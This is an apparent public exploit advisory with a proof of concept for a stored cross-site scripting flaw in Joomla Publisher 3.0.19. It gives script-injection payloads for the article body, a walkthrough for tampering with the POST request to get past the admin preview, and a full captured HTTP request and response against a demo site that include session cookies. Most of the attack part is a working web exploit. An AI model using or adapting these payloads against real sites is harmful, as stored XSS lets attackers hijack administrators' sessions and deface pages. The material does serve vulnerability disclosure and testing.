Joomla Publisher component version 3.0.19 suffers from a persistent cross site scripting vulnerability.
e9a9e431e0e577fc66304edff11367730b1270cafc2b252ea1602e7175791021# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS
# Date: 03.11.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://publisher.ijoomla.com/demo
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest.vincent.blogspot.com/
# PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html
Poc:
We have stored xss and stored html injection in Publisher v 3.0.19.
I put there is one interesting method in the body "Article" with Method Post.
Create article and put simple xss code :
""><script>alert("Hello")</script>
And click "submit article".
XSS code is works..
https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles
https://imgur.com/a/ylpLcJV
https://imgur.com/a/XHNHp4c
But it doesn't work in preview mode.
https://imgur.com/a/1BG07Mn
The administrator can check articles in preview mode. What do we do?
Let's use the addon in the firefox "HTTP Live Headers" and change our
article with the Post Method.
""><script>alert("Hello")</script><body
background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png">
Open Http Live Headers, Edit Article, Save this and Change Post
Request and send this.
https://imgur.com/a/ogpYEGf
Let's see what we have in preview mode.
https://imgur.com/a/QvQZNNw
https://imgur.com/a/Vzjxfpd
..................................................................................
https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 341
Origin: https://ijoomlademo.com
Connection: keep-alive
Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32
Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214;
c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn;
4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s;
joomla_user_state=logged_in;
currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1
Upgrade-Insecure-Requests: 1
title=test&heading=test&cat_id=8&content=<p>""><script>alert("Hello")</script><br></p>&id=32&controller=articlesedit&option=com_publisher&editor_name=&task=store&authid=231&media=&type=core_joomla&article_id=28&mandatory_status=approved&article_status=1&edit_a=1&edit_s=approved
POST: HTTP/2.0 303 See Other
date: Tue, 03 Nov 2020 22:32:40 GMT
content-type: text/html; charset=utf-8
x-powered-by: PHP/7.2.33
p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
location: /index.php/publisher/my-articles/articlesedit/32
expires: Wed, 17 Aug 2005 00:00:00 GMT
last-modified: Tue, 03 Nov 2020 22:32:40 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
cf-cache-status: DYNAMIC
cf-request-id: 0631d6bb1e00000057b093c000000001
expect-ct: max-age=604800,
report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4BKJ9XaQXZogqrRC4jLDlbWNJ3lklLos6kkmngfBver4wHRDvpbqrVk89c6FtvKZHPe8wAmywNqRUdxp2zDfVbi9ajV4PStFG5DOdB7MvvA%3D"}],"group":"cf-nel","max_age":604800}
nel: {"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 5ec98d71cf160057-DME
X-Firefox-Spdy: h2
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